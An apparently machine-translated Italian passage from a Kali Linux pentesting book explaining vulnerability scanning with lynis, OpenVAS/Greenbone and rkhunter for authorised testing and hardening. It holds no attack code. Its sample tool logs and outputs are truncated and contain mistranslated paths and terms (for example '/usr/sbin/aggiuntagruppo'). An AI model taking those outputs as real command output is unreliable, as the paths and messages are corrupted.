questi programmi è lynis , uno scanner di vulnerabilità che viene eseguito
sul sistema locale ed esegue numerosi controlli per le impostazioni che
sarebbero comuni in un'installazione di sistema operativo rafforzata. I
sistemi operativi che sono rafforzati sono configurati per essere resistenti
agli attacchi. Ciò può significare abilitare la registrazione, rafforzare i
permessi e scegliere altre impostazioni.
Il programma lynis ha impostazioni per vari tipi di scansione. Puoi fare
scansioni rapide o complete, a seconda della profondità che vuoi
raggiungere. C'è anche la possibilità di eseguire in modalità pentest, che è
una scansione senza privilegi. Questo limita ciò che può essere controllato.
Tutto ciò che richiede l'accesso root, come guardare i file di configurazione,
non può essere controllato in modalità pentest. Questo può darti una
buona idea di cosa può fare un aggressore se ottiene l'accesso a un
account normale e senza privilegi. L'esempio 4-7 mostra l'output parziale
di un'esecuzione di lynis su un'installazione di base di Kali.
Esempio 4-7. Output da lynis
[+] Nocciolo
------------------------------------ Controllo del livello di esecuzione predefinito
- Controllo del supporto CPU (NX/PAE)
Supporto CPU: PAE e/o NoeXecute supportati
- Controllo della versione e della release del
kernel
- Controllo del tipo di kernel
- Controllo dei moduli del kernel caricati
Trovati 120 moduli attivi
- Controllo del file di configurazione del kernel
Linux
- Controllo dello scheduler del kernel I/O
predefinito
- Controllo degli aggiornamenti del kernel
disponibili
- Controllo della configurazione dei core dump
- configurazione nei file di configurazione di
systemd
- configurazione in /etc/profile
- configurazione 'hard' in /etc/security/limit
- configurazione 'soft' in /etc/security/limit
- Controllo della configurazione dei core dump
setuid
- Controllare se è necessario il riavvio
[+] Memoria e processi
------------------------------------ Controllo di /proc/meminfo
- Ricerca di processi morti/zombie
- Ricerca di processi di attesa IO
- Cerca strumenti prelink
[+] Utenti, gruppi e autenticazione
------------------------------------ Account amministratore
- UID univoci
- ID di gruppo univoci
- Nomi di gruppo univoci
- Coerenza del file password
- Controllo dei round di hashing delle password
- Interroga gli utenti del sistema (non demoni)
- Supporto per l'autenticazione NIS+
- Supporto per l'autenticazione NIS
- File di Sudoers
- Strumenti per la forza della password PAM
- File di configurazione PAM (pam.conf)
- File di configurazione PAM (pam.d)
- Moduli PAM
- Modulo LDAP in PAM
- Conti senza data di scadenza
- Account senza password
- Account bloccati
- Controllo dell'invecchiamento della password
utente (minimo)
- Invecchiamento della password utente (massimo)
- Controllo dell'autenticazione in modalità
utente singolo Linux
- Determinazione dell'umask predefinito
- umask (/etc/profilo)
- umask (/etc/login.defs)
- Supporto per l'autenticazione LDAP
- Registrazione dei tentativi di accesso non
riusciti
Come puoi vedere dall'output, lynis ha trovato problemi con gli strumenti
di password-strength del pluggable authentication module (PAM), tanto da
essere disposto a offrire un suggerimento. Ha anche trovato un problema
con la coerenza del file password, anche se per maggiori dettagli dovrei
dare un'occhiata al suggerimento. Inoltre, ha trovato un problema con le
impostazioni predefinite dei permessi file. Questa è l'impostazione umask
che ha verificato in /etc/login.defs . L'output completo dello strumento ha
molti altri consigli, ma questo è stato un audit completo del sistema ed è
un'installazione pronta all'uso, per la maggior parte. Tuttavia, è
interessante notare che nella precedente edizione del libro, l'esecuzione di
lynis ha trovato problemi con l'autenticazione in modalità utente singolo,
che è quando si avvia il sistema in modalità utente singolo, comunemente
utilizzata per l'amministrazione di sistema critica in cui non si desidera che
nulla venga toccato, come il file system, mentre si eseguono attività.
Questo problema è stato apparentemente risolto da quella versione di Kali,
poiché non è più un problema qui.
L'output della console fornisce un livello di dettaglio, ma viene creato un
file di registro. Un file di registro viene archiviato nella directory home
dell'utente che esegue il comando. Ulteriori dettagli del registro possono
essere trovati in var/log/lynis.log . L'esempio 4-8 mostra un frammento
dell'output dal file di registro che è stato archiviato nella mia directory
home quando l'ho eseguito come mio utente. L'output in questo file di
registro mostra ogni passaggio eseguito dal programma e il risultato di ogni
passaggio. Noterai anche che quando ci sono dei risultati, il programma li
indicherà nell'output. Vedrai nel caso di libpam-usb che c'è un
suggerimento per rafforzare ulteriormente il sistema operativo contro gli
attacchi.
Esempio 4-8. File di registro da un'esecuzione di lynis
2023-07-10 19:31:33 ====
2023-07-10 19:31:33 Directory scoperte: /bin
/usr/locale/bin, /usr/locale/sbin
2023-07-10 19:31:33 DEB-0001 Risultato: trovati
7981 b
2023-07-10 19:31:33 Stato: Avvio autenticazione
2023-07-10 19:31:33 Stato: Controllo se libpam-tm
2023-07-10 19:31:33 ==== 2023-07-10 19:31:33
Esecuzione del test ID DEB-0280 installato e
abilitato.) 2023-07-10 19:31:33 - libpam-tmpdir
non è insta
2023-07-10 19:31:33 Indurimento: assegnato
parziale n
(0 su 2). Attualmente ho 0 punti (su 2)
2023-07-10 19:31:33 Suggerimento: installa
libpam-tm
Sessioni PAM [test:DEB-0280] [dettagli:-]
[soluzione
2023-07-10 19:31:33 Stato: Avvio del file system
2023-07-10 19:31:33 Stato: Avvio del file system
cryptsetup e cryptmount...
2023-07-10 19:31:33 ==== 2023-07-10 19:31:33 Test
DEB-0510 saltato (i sistemi Checki sono
archiviati su partizioni crittografate) 2023-0710 19:31:33 Motivo del salto: prerequisiti (tipo
di distribuzione Linux) 2023-07-10 19:31:33 ====
2023-07-10 19:31:33 Test saltato DEB-0520 (Checki
2023-07-10 19:31:33 Motivo del salto:
Prerequisiti tipo di distribuzione Linux) 202307-10 19:31:34 Stato: Avvio del test del software
Questo è un programma che può essere utilizzato regolarmente da
chiunque utilizzi un sistema Linux, in modo che possa essere a conoscenza
dei problemi che deve correggere. Tuttavia, come persona coinvolta nei
test di penetrazione o di sicurezza, puoi eseguire questo programma sui
sistemi Linux a cui hai accesso. Se lavori a stretto contatto con l'azienda per
cui stai eseguendo i test, eseguire scansioni locali sarà più semplice.
Potresti ricevere l'accesso locale ai sistemi, in modo da poter eseguire
programmi come questo. Ovviamente, avresti bisogno di questo
programma installato su qualsiasi sistema su cui desideri eseguirlo. In tal
caso, non lo eseguiresti da Kali stesso. Tuttavia, puoi acquisire molta
esperienza con lynis eseguendolo sul tuo sistema locale e facendo
riferimento all'output.
Scansione locale OpenVAS
Non sei limitato a testare sul sistema locale per le vulnerabilità locali. Con
questo intendo dire che non devi aver effettuato l'accesso ai programmi in
esecuzione per eseguire i test. Invece, puoi usare uno scanner di
vulnerabilità remoto e fornirgli le credenziali di accesso. Ciò consentirà allo
scanner di accedere in remoto ed eseguire le scansioni tramite una
sessione di accesso. Nell'interfaccia web di Greenbone Security Assistant,
la maggior parte di ciò che faremo in questa sezione è nel menu
Configurazione. Qui è dove configuri tutti gli elementi essenziali per creare
una scansione.
In precedenza, abbiamo installato OpenVAS; ma ora possiamo dare
un'occhiata al suo utilizzo per la scansione delle vulnerabilità. Sebbene sia
principalmente uno scanner di vulnerabilità remoto, come vedrai, può
essere fornito con credenziali per l'accesso. Tali credenziali di accesso,
mostrate configurate nella Figura 4-2 , saranno utilizzate da OpenVAS per
accedere in remoto per eseguire test in locale tramite la sessione di
accesso. Puoi selezionare l'opzione per OpenVAS di generare
automaticamente, il che farà sì che OpenVAS provi le password su un nome
utente specificato.
Figura 4-2. Impostazione delle credenziali in OpenVAS
La creazione delle credenziali è solo una parte del processo, tuttavia. Devi
comunque configurare una scansione che possa utilizzare le credenziali. La
prima cosa da fare è identificare o creare una configurazione di scansione
che includa vulnerabilità locali per i sistemi operativi di destinazione che
hai. Ad esempio, la Figura 4-3 mostra una finestra di dialogo che mostra
una sezione delle famiglie di vulnerabilità disponibili in OpenVAS. Puoi
vedere una manciata di sistemi operativi elencati con vulnerabilità locali.
Tra questi ci sono Debian e Ubuntu. Sono inclusi altri sistemi operativi e
ogni famiglia può avere centinaia, se non migliaia, di vulnerabilità.
Figura 4-3. Selezione delle famiglie di vulnerabilità in OpenVAS
Una volta selezionate le vulnerabilità, è necessario creare target e applicare
le credenziali. La Figura 4-4 mostra la finestra di dialogo in OpenVAS che
crea un target. Ciò richiede di specificare un indirizzo IP, o un intervallo di
indirizzi IP, o un file che includa l'elenco di indirizzi IP che dovrebbero
essere i target. Sebbene questa finestra di dialogo fornisca altre opzioni,
quelle che ci interessano di più sono quelle in cui specifichiamo le
credenziali.
Le credenziali configurate qui sono state selezionate per essere utilizzate su
target che hanno server SSH in esecuzione sulla porta 22. Se hai
precedentemente identificato altri server SSH che potrebbero essere in
esecuzione in una configurazione non standard, puoi specificare altre
porte. Oltre a SSH, puoi selezionare SMB ed ESXi come protocolli con cui
effettuare l'accesso.
Ogni sistema operativo sarà diverso, e questo è particolarmente vero per
Linux, motivo per cui ci sono diverse famiglie in OpenVAS per le
vulnerabilità locali. Ogni distribuzione è configurata in modo leggermente
diverso e ha diversi set di pacchetti. Ogni pacchetto può avere diverse
impostazioni di configurazione predefinite. Oltre alla distribuzione, gli
utenti possono avere molte scelte per le categorie di pacchetti. Una volta
installata la base, potrebbero essere installati centinaia di pacchetti
aggiuntivi, e ognuno di quei pacchetti può introdurre vulnerabilità.
Figura 4-4. Selezione di un target in OpenVAS
NOTA
Un approccio comune all'indurimento è quello di limitare il numero di pacchetti installati. Ciò è
particolarmente vero quando si tratta di sistemi server in cui dovrebbe essere installata la quantità
minima di software necessaria per far funzionare i servizi.
Una volta che hai tutte le tue configurazioni a posto, devi ancora creare
un'attività di scansione. Nel menu Scansioni, dovresti selezionare Attività.
Come per le altre pagine, dovresti vedere un'icona che sembra un foglio di
carta con un asterisco nell'angolo in alto a destra.
Ecco come aggiungere una nuova configurazione e, in questa pagina,
creare una nuova attività di scansione. La figura 4-5 mostra la finestra di
dialogo in cui creare una nuova attività di scansione. Le impostazioni
importanti qui sono i menu a discesa Scan Targets e Scan Config.
Selezioneresti la destinazione di scansione creata con le tue credenziali.
Quindi selezioneresti la configurazione di scansione creata con il set
corretto di famiglie selezionate per la tua scansione.
Una volta configurata la nuova attività di scansione, questa verrà
visualizzata nell'elenco delle attività. Durante la configurazione dell'attività,
puoi impostarla per l'esecuzione in base a una pianificazione, ma se vuoi,
puoi anche eseguirla su richiesta. Basta fare clic sul pulsante di
riproduzione che assomiglia un po' a un triangolo laterale.
Figura 4-5. Creazione di una scansione in OpenVAS
Kit di radici
Sebbene non sia propriamente uno scanner di vulnerabilità, vale la pena
conoscere Rootkit Hunter. Questo programma può essere eseguito
localmente su un sistema per determinare se è stato compromesso e ha un
root kit installato. Un root kit è un pacchetto software che ha lo scopo di
facilitare un malware. Può includere utilità di sostituzione del sistema
operativo per nascondere l'esistenza del malware in esecuzione. Ad
esempio, il programma ps può essere modificato per non mostrare i
processi associati al malware.
Inoltre, ls potrebbe nascondere l'esistenza dei file malware. I root kit
potrebbero anche implementare una backdoor che consentirà agli
aggressori l'accesso remoto.
Se è stato installato un software root kit, potrebbe significare che è stata
sfruttata una vulnerabilità da qualche parte. Significa anche che sul tuo
sistema è in esecuzione un software indesiderato. Conoscere Rootkit
Hunter può essere utile per consentirti di scansionare i sistemi. Potresti
voler dedicare del tempo all'esecuzione di questo programma su qualsiasi
sistema su cui hai eseguito degli scanner e su cui hai trovato vulnerabilità.
Questo potrebbe indicare che il sistema è stato compromesso.
L'esecuzione di Rootkit Hunter ti consentirà di determinare se i root kit
sono installati sul tuo sistema.
Il nome dell'eseguibile è rkhunter ed è facile da eseguire, anche se non è
installato in una build predefinita dell'attuale distribuzione Kali Linux.
rkhunter esegue controlli per determinare se sono stati installati root kit.
Per iniziare, esegue controlli sui permessi dei file, di cui puoi vedere un
esempio nell'Esempio 4-9 . Oltre a ciò, rkhunter esegue ricerche di pattern
per le firme di come appaiono i root kit noti. Proprio come la maggior
parte dei programmi antivirus, rkhunter non riesce a trovare ciò che non
conosce. Cercherà anomalie, come permessi di file non corretti. Cercherà
file di cui è a conoscenza da root kit noti. Se ci sono root kit di cui non è a
conoscenza, questi non verranno rilevati.
Esempio 4-9. Esecuzione di Rootkit Hunter
┌──(kilroy@badmilo)-[~]
└─$ sudo rkhunter --check
[ Rootkit Hunter versione 1.4.6 ] Controllo dei
comandi di sistema...
Esecuzione dei controlli del comando 'stringhe'
Controllo del comando 'stringhe'
Esecuzione di controlli "librerie condivise"
Controllo delle variabili di precaricamento
Controllo delle librerie precaricate
Controllo della variabile LD_LIBRARY_PATH
Esecuzione di controlli delle proprietà dei file
Verifica dei prerequisiti
/usr/sbin/adduser
/usr/sbin/chroot
/usr/sbin/cron
/usr/sbin/depmod
/usr/sbin/fsck
/usr/sbin/aggiuntagruppo
/usr/sbin/groupdel /usr/sbin/groupmod
/usr/sbin/grpck
Come per lynis , questo è un pacchetto software; dovresti installare Rootkit
Hunter su un sistema che stai controllando per software dannoso. Non
puoi eseguirlo dalla tua istanza Kali su un sistema remoto. Se stai lavorando
molto con test ed exploit sulla tua istanza Kali, non è una cattiva idea
continuare a controllare il tuo sistema. Ogni volta che esegui software da
una fonte di cui non ti fidi completamente, il che potrebbe essere il caso se
stai lavorando con exploit proof-of-concept, dovresti controllare il tuo
sistema per virus e altri malware.
Sì, questo è vero tanto su Linux quanto su altre piattaforme. Linux non è
invulnerabile ad attacchi o malware. È meglio mantenere il sistema il più
pulito e sicuro possibile.
Vulnerabilità remote
Sebbene a volte ti possa essere concesso l'accesso ai sistemi lavorando a
stretto contatto con il tuo target, dovrai sicuramente eseguire controlli
remoti per le vulnerabilità quando esegui test di sicurezza. Quando ottieni
l'accesso completo, che può includere credenziali per testare, build
desktop per l'audit senza impatto sugli utenti o impostazioni di
configurazione dai dispositivi di rete, stai eseguendo test clear-box . Se non
hai alcuna collaborazione dal target, a parte un chiaro accordo con loro su
cosa stai pianificando di fare, stai eseguendo test opaque-box ; non sai
nulla di ciò che stai testando. Puoi anche eseguire test gray-box . Questo è
qualcosa tra clear box e opaque box, anche se ci sono molte gradazioni nel
mezzo.
Quando si testano vulnerabilità remote, è utile partire in anticipo. Sarà
necessario utilizzare uno scanner di vulnerabilità. Sebbene OpenVAS non
sia l'unico scanner di vulnerabilità che può essere utilizzato, è disponibile
gratuitamente e incluso nei repository di Kali Linux. Questo dovrebbe
essere considerato un punto di partenza per i test di vulnerabilità. Se tutto
ciò che servisse fosse eseguire uno scanner, chiunque potrebbe farlo.
Eseguire scanner di vulnerabilità non è difficile. Il valore di qualcuno che
esegue test di sicurezza non è caricare un mucchio di strumenti
automatizzati. Invece, è l'interpretazione e la convalida dei risultati, nonché
l'andare oltre gli strumenti automatizzati. Il duro lavoro è comprendere
l'output dello scanner ed essere in grado di determinare se i risultati sono
legittimi, nonché l'effettiva priorità della vulnerabilità.
In precedenza, abbiamo esplorato come OpenVAS può essere utilizzato per
la scansione locale. Può anche essere utilizzato, e forse è più
comunemente noto, per la scansione di vulnerabilità remote. Questo è ciò
a cui dedicheremo un po' di tempo ora. OpenVAS è un software piuttosto
denso, quindi passeremo in rassegna alcune delle sue capacità piuttosto
che fornire una panoramica completa. La parte importante è capire come
funzionano gli scanner di vulnerabilità.
NOTA
Come affermato in precedenza, il progetto OpenVAS è iniziato quando Nessus è stato biforcato dal
progetto Nessus. Da quel momento, si sono verificati cambiamenti architettonici significativi nella
progettazione di OpenVAS. Sebbene Nessus sia passato anche a un'interfaccia web, non c'è più alcuna
somiglianza tra OpenVAS e Nessus, sia nell'interfaccia che nell'architettura dello scanner sottostante.
Quando si utilizza OpenVAS o qualsiasi scanner di vulnerabilità, avrà una
raccolta o un database di vulnerabilità note. Questa raccolta dovrebbe
essere aggiornata regolarmente, proprio come i programmi antivirus.
Quando si imposta OpenVAS, una delle prime cose che accade è che la
raccolta corrente di definizioni di vulnerabilità viene scaricata. Se il sistema
è in esecuzione regolarmente con i servizi OpenVAS, le vulnerabilità
verranno aggiornate per te. Se OpenVAS è stato inattivo per un po' di
tempo e si desidera eseguire una scansione, vale la pena assicurarsi che
tutte le firme siano aggiornate. È possibile farlo sulla riga di comando
utilizzando il comando greenbone-nvt-sync . Questo deve essere eseguito
come utente _gvm creato per OpenVAS. Per farlo, è necessario eseguire il
comando sudo -u _gvm greenbone-nvt-sync . Questo eseguirà il comando
utilizzando l'utente specificato. OpenVAS utilizza il Security Content
Automation Protocol per scambiare informazioni tra l'installazione e i
server remoti in cui è archiviato il contenuto.
OpenVAS utilizza un'interfaccia web, come molte altre applicazioni
odierne. Per accedere all'applicazione web, vai su https://localhost:9392 .
Quando accedi, ti viene presentata una dashboard. Questa include grafici
relativi alle tue attività. La dashboard presenta anche informazioni sulle
vulnerabilità di cui è a conoscenza e sulla loro gravità. Nella Figura 4-6 ,
puoi vedere una pagina web aperta sulla dashboard. Puoi vedere il numero
di attività (è una nuova installazione, quindi ce n'è solo una) e un grafico
che mostra le vulnerabilità presenti nel database.
Figura 4-6. Assistente di sicurezza Greenbone
I menu per accedere alle funzionalità e alle funzioni si trovano nella parte
superiore della pagina. Da lì, puoi accedere alle funzionalità relative alle
scansioni, alle risorse e alle configurazioni, nonché alla raccolta di
informazioni di sicurezza di cui OpenVAS è a conoscenza, con tutte le
vulnerabilità di cui è a conoscenza.
Avvio rapido con OpenVAS
Sebbene OpenVAS sia certamente un software denso, che offre molte
capacità di personalizzazione, fornisce anche un modo semplice per
iniziare. Una procedura guidata di scansione consente di fornire
semplicemente un target e iniziare la scansione. Se si desidera ottenere
una rapida idea delle vulnerabilità comuni che possono essere trovate sul
target, questo è un ottimo modo per procedere. Una semplice scansione
tramite la procedura guidata utilizzerà le impostazioni predefinite, il che è
un modo per iniziare rapidamente. Per iniziare con la procedura guidata, si
accede al menu Scansioni e si seleziona Attività. In alto a sinistra di quella
pagina, si vedranno alcune piccole icone.
Quello viola che sembra la bacchetta di un mago apre la Task Wizard. La
Figura 4-7 mostra il menu che si apre quando si passa il cursore su
quell'icona.
Figura 4-7. Menu della procedura guidata attività
Da quel menu, puoi selezionare Advanced Task Wizard, che ti dà più
controllo su asset e credenziali, tra le altre impostazioni. Puoi anche
selezionare Task Wizard, che puoi vedere nella Figura 4-8 . Utilizzando Task
Wizard, ti verrà richiesto un indirizzo IP di destinazione. L'indirizzo IP che
viene popolato quando viene visualizzato è l'indirizzo IP dell'host da cui sei
connesso al server. Puoi immettere non solo un singolo indirizzo IP qui, ma
anche un'intera rete, come mostrato nella Figura 4-8 . Nel mio caso, userei
192.168.1.0/24. Questo è l'intero intervallo di rete da 192.168.1.0–255. /
24 è un modo per designare intervalli di rete senza usare maschere di
sottorete o una notazione di intervallo. Lo vedrai spesso ed è
comunemente chiamato notazione CIDR , che è la notazione Classless
Inter-Domain Routing.
Figura 4-8. Procedura guidata attività
Una volta inseriti il target o i target, tutto ciò che devi fare è cliccare su
Start Scan e OpenVAS è pronto a partire, per così dire. Hai avviato la tua
prima scansione delle vulnerabilità. Questo è il modo più semplice per
avviare una scansione, ma non hai alcun controllo sul tipo di scansione o
persino su quando verrà eseguita. Per questo, dobbiamo dare un'occhiata
all'Advanced Scan Wizard.
MANCIA
Potrebbe essere utile avere a disposizione alcuni sistemi vulnerabili quando si eseguono le scansioni.
Sebbene sia possibile ottenere vari sistemi (e una semplice ricerca sul Web di sistemi operativi
vulnerabili li farà emergere), uno è davvero utile. Metasploitable 2 è un'installazione Linux
deliberatamente vulnerabile. Metasploitable 3 è la versione aggiornata basata su Windows Server
2008, sebbene esista anche una versione di
Metasploitable 3 che è costruito su Ubuntu. Metasploitable 2 è un download diretto. Metasploitable 3
è un sistema operativo build-it-on-your-own-system. Richiede VirtualBox e software aggiuntivo.
Possiamo dare un'occhiata all'Advanced Scan Wizard, mostrato nella Figura
4-9 , per vedere il set più ampio di impostazioni di configurazione a cui hai
accesso mentre continui a usare una procedura guidata per aiutarti a
impostare tutti i valori. Questo ti darà una rapida occhiata a ciò con cui
lavoreremo su scala più ampia quando passeremo alla creazione di
scansioni dall'inizio alla fine.
Figura 4-9. Procedura guidata di scansione avanzata
Creazione di una scansione
Se vuoi avere un maggiore controllo sulla tua scansione, sono necessari
ulteriori passaggi. Ci sono alcuni punti da cui iniziare, perché hai bisogno di
diversi componenti in atto prima di poter avviare la scansione. Un semplice
punto di partenza è lo stesso punto nell'interfaccia in cui stavamo
impostando le scansioni locali. Devi stabilire i target. Se vuoi eseguire
scansioni locali come parte della tua scansione complessiva, dovresti
impostare le tue credenziali come abbiamo fatto in precedenza, andando al
menu Configurazione e selezionando Credenziali. Dopo aver impostato le
credenziali di cui hai bisogno, puoi andare a Configurazione/Target per
accedere alla finestra di dialogo che ti consente di specificare i target.
Da lì, aggiungi o configura le credenziali che potresti avere e i tuoi obiettivi
sono impostati. Devi pensare al tipo di scansione che vuoi fare. È qui che
devi andare a Scan Configs, sempre nel menu Configuration. Questa è
un'altra cosa che abbiamo esaminato rapidamente in "Local
Vulnerabilità” . OpenVAS è dotato di configurazioni di scansione integrate e
puoi vedere l'elenco nella Figura 4-10 . Queste sono configurazioni
predefinite a cui non potrai apportare modifiche. Inoltre, in questo elenco,
vedrai un paio di configurazioni che ho creato. Se desideri qualcosa di
diverso da ciò che ti offrono le scansioni predefinite, devi clonarne una e
modificarla o crearne una tua.
Figura 4-10. Elenco delle scansioni
Quando vuoi creare la tua configurazione di scansione, puoi iniziare con
una configurazione vuota o una configurazione completa e veloce. Una
volta deciso da dove vuoi iniziare, puoi iniziare a selezionare le famiglie di
scansione da includere nella tua configurazione di scansione. Inoltre, puoi
modificare il modo in cui si comporta lo scanner. Puoi vedere un set di
impostazioni di configurazione nella Figura 411 che cambieranno il modo in
cui viene eseguita la scansione e le posizioni che utilizza. Un'area da
sottolineare in modo specifico qui è l'impostazione Controlli di sicurezza.
Ciò indica che gli unici controlli da eseguire sono quelli che sono noti per
essere sicuri, il che significa che non hanno molte probabilità di causare
problemi con i sistemi di destinazione. Ciò significa che alcuni controlli non
verranno eseguiti e potrebbero essere i controlli che testano le
vulnerabilità che ti preoccupano di più. Dopo tutto, se solo sondare una
vulnerabilità può causare problemi sul sistema remoto, è qualcosa di cui
l'azienda con cui stai lavorando dovrebbe essere a conoscenza.
Gli scanner di vulnerabilità non sono pensati per sfruttare
vulnerabilità. Tuttavia, anche solo curiosare nel software per valutarne la
reazione può essere sufficiente a causare crash dell'applicazione. Nel caso
del sistema operativo, come con i problemi di stack di rete, potresti parlare
di crash del sistema operativo e causare un diniego di servizio, anche se
non è quello che stavi cercando di fare. Questa è un'area in cui devi
assicurarti di essere chiaro in anticipo con le persone per cui stai
eseguendo i test. Se si aspettano test puliti e stai lavorando in
collaborazione con loro, devi essere chiaro che a volte, anche se non stai
cercando interruzioni, le interruzioni si verificheranno. Safe Checks è
un'impostazione a cui fare attenzione e dovresti essere molto consapevole
di cosa stai facendo quando la disattivi. Safe Checks disabilita i test che
potrebbero avere il potenziale di causare danni al servizio remoto,
potenzialmente disabilitandolo, ad esempio.
Figura 4-11. Preferenze dello scanner
Sebbene tu possa anche regolare impostazioni aggiuntive, sei pronto per
partire dopo aver impostato la configurazione della scansione e i tuoi
obiettivi. Prima di iniziare, potresti voler considerare di impostare alcune
pianificazioni. Questo può essere utile se vuoi lavorare con un'azienda ed
eseguire i test fuori orario. Se stai eseguendo test di sicurezza o un test di
penetrazione, probabilmente vorrai monitorare la scansione. Tuttavia, se si
tratta di una scansione di routine, potresti volerla impostare in modo che
venga eseguita durante la notte in modo da non influire sulle operazioni
quotidiane dell'azienda. Anche se potresti non avere un impatto sui servizi
o sui sistemi in esecuzione, genererai traffico di rete e utilizzerai risorse sui
sistemi. Ciò avrà un impatto se dovessi farlo mentre l'azienda è operativa.
Supponiamo, però, che tu abbia le tue configurazioni a posto. Vuoi solo
avviare una scansione con tutto ciò che hai configurato. Da qui, devi
andare al menu Scansioni e selezionare Attività. Quindi fai clic sull'icona
Nuova attività. Questo apre un'altra finestra di dialogo, che puoi vedere
nella Figura 4-12 . In questa finestra di dialogo, dai un nome all'attività, che
poi mostra le opzioni aggiuntive, e poi puoi selezionare i tuoi target e la tua
configurazione di scansione. Puoi anche selezionare una pianificazione, se
ne hai creata una.
Nella nostra semplice installazione, avremo la possibilità di scegliere un
singolo scanner da utilizzare. Questo è lo scanner sul nostro sistema Kali. In
una configurazione più complessa, potresti avere più scanner tra cui
scegliere e gestirli tutti da un'unica interfaccia. Sarai anche in grado di
selezionare l'interfaccia di rete su cui desideri eseguire la scansione.
Mentre questo sarà comunemente gestito dalle tabelle di routing sul tuo
sistema, puoi indicare un'interfaccia di origine specifica. Questo potrebbe
essere utile se desideri che tutto il tuo traffico provenga da un intervallo di
indirizzi IP mentre stai gestendo da un'altra interfaccia.
Figura 4-12. Creazione di una nuova scansione
Infine, hai la possibilità di archiviare i report all'interno del server
OpenVAS. Puoi indicare quanti ne vuoi archiviare in modo da poter
confrontare un risultato di scansione con un altro per dimostrare i
progressi. In definitiva, l'obiettivo di tutti i tuoi test, inclusa la scansione
delle vulnerabilità, è migliorare la postura di sicurezza del tuo target. Se
l'organizzazione riceve i tuoi consigli e poi non fa nulla con essi, è peggio
che non eseguire affatto le scansioni. Ciò che accade quando presenti un
report all'organizzazione per cui lavori è che questa viene a conoscenza
delle vulnerabilità che hai identificato. Queste informazioni possono quindi
essere utilizzate contro di loro se non fanno nulla con ciò che hai detto
loro.
Rapporti OpenVAS
Il report è l'aspetto più importante del tuo lavoro. Una volta terminati i
test, scriverai il tuo report, ma il report emesso dallo scanner delle
vulnerabilità ti sarà utile per capire dove iniziare a cercare. Dovresti essere
consapevole di due cose quando inizi a guardare i report dello scanner
delle vulnerabilità. Innanzitutto, lo scanner delle vulnerabilità usa firme
specifiche per determinare se la vulnerabilità è presente. Questo potrebbe
essere qualcosa come il banner grabbing per confrontare i numeri di
versione. Non puoi essere sicuro che la vulnerabilità esista perché uno
strumento come OpenVAS non sfrutta la vulnerabilità. In secondo luogo, e
questo è correlato, puoi ottenere falsi positivi. Un falso positivo è
un'indicazione che la vulnerabilità esiste quando non è così. Poiché lo
scanner delle vulnerabilità non sfrutta la vulnerabilità, il massimo che può
fare è ottenere una probabilità.
Se non esegui una scansione con credenziali, perderai il rilevamento di
molte vulnerabilità. Avrai anche un potenziale più elevato di ottenere falsi
positivi. Ecco perché un report da OpenVAS o da qualsiasi altro scanner
non è sufficiente. Poiché non vi è alcuna garanzia che la vulnerabilità esista
effettivamente, devi essere in grado di convalidare i report in modo che il
report finale presenti vulnerabilità legittime che devono essere risolte.
Tuttavia, basta con le rimostranze. Andiamo avanti a esaminare i report in
modo da poter iniziare a determinare cosa è legittimamente preoccupante
e cosa potrebbe essere meno preoccupante. La prima cosa che dobbiamo
fare è tornare all'interfaccia web di OpenVAS dopo che la scansione è stata
completata. Le scansioni di grandi reti con molti servizi possono richiedere
molto tempo, soprattutto se si eseguono scansioni approfondite. Nel menu
Scansioni, troverai la voce Report. Da lì, arrivi alla dashboard Report.
Questa ti fornirà un elenco di tutte le scansioni che hai eseguito e alcuni
grafici della gravità dei risultati delle tue scansioni. Puoi vedere la
dashboard Report nella Figura 4-13 .
Figura 4-13. Dashboard del report
Quando selezioni la scansione da cui vuoi il report, ti verrà presentato un
elenco di tutte le vulnerabilità trovate. Quando uso la parola report ,
potrebbe sembrare che stiamo parlando di un documento vero e proprio,
che puoi certamente ottenere, ma in realtà tutto ciò che stiamo cercando è
l'elenco dei risultati e i loro dettagli. Possiamo ottenere tutto ciò con la
stessa facilità dall'interfaccia web come da un documento. Trovo più facile
nella maggior parte dei casi poter fare clic avanti e indietro dall'elenco ai
dettagli a seconda delle necessità. Il tuo chilometraggio varierà,
ovviamente, a seconda di ciò che è più comodo per te. La figura 4-14
mostra l'elenco delle vulnerabilità risultanti dalla scansione della mia rete.
Mi piace tenere alcuni sistemi vulnerabili in giro per divertimento e scopi
dimostrativi. Avere tutto aggiornato non ci darebbe molto da guardare.
Figura 4-14. Elenco delle vulnerabilità
Vedrai otto colonne nell'elenco delle vulnerabilità. Alcune di queste sono
abbastanza autoesplicative. Le colonne Vulnerabilità e Gravità dovrebbero
essere chiare. La vulnerabilità è una breve descrizione del risultato.
Tuttavia, vale la pena parlare della gravità. Questa valutazione si basa
sull'impatto che potrebbe derivare dallo sfruttamento della vulnerabilità. Il
problema con la gravità fornita dallo scanner delle vulnerabilità è che non
prende in considerazione nient'altro. Tutto ciò che sa è la gravità che
accompagna quella vulnerabilità, indipendentemente da qualsiasi altra
mitigazione in atto che potrebbe limitare l'esposizione alla vulnerabilità.
Ecco dove avere un'idea più ampia dell'ambiente può aiutare. Ad esempio,
supponiamo che ci sia un problema con un web
server, come una vulnerabilità in PHP, un linguaggio di programmazione
per lo sviluppo web. Tuttavia, il sito web potrebbe essere configurato con
autenticazione a due fattori e potrebbe essere concesso un accesso
speciale solo per questa scansione. Ciò significa che solo gli utenti
autenticati potrebbero accedere al sito per sfruttare la vulnerabilità.
Solo perché sono state messe in atto delle mitigazioni per problemi che
potrebbero ridurre il loro impatto complessivo sull'organizzazione non
significa che tali problemi debbano essere ignorati. Significa solo che
l'asticella è più alta per un aggressore, non che è impossibile che l'exploit si
verifichi. L'esperienza e una buona comprensione dell'ambiente ti
aiuteranno a concentrarti sulle tue scoperte. L'obiettivo non dovrebbe
essere quello di spaventare a morte le persone, ma piuttosto di fornire loro
un'aspettativa ragionevole di dove si trovano dal punto di vista
dell'esposizione all'attacco. Lavorare con l'organizzazione idealmente li
porterà a migliorare la loro postura di sicurezza complessiva.
La colonna successiva di cui parlare è la colonna QoD, o Quality of
Detection. Come notato in precedenza, lo scanner delle vulnerabilità non
può essere assolutamente certo che la vulnerabilità esista. La valutazione
QoD indica il livello di certezza dello scanner che la vulnerabilità esista. Più
alto è il punteggio, più certo è lo scanner. Se hai un QoD alto e una gravità
alta, questa è probabilmente una vulnerabilità che qualcuno dovrebbe
investigare.
Come esempio, uno dei risultati è mostrato nella Figura 4-15 . Ha una QoD
del 97% e una gravità di 10, che è il massimo raggiungibile dallo scanner.
OpenVAS considera questo un problema serio che ritiene confermato. Ciò
è mostrato dall'output ricevuto dal sistema in fase di test.
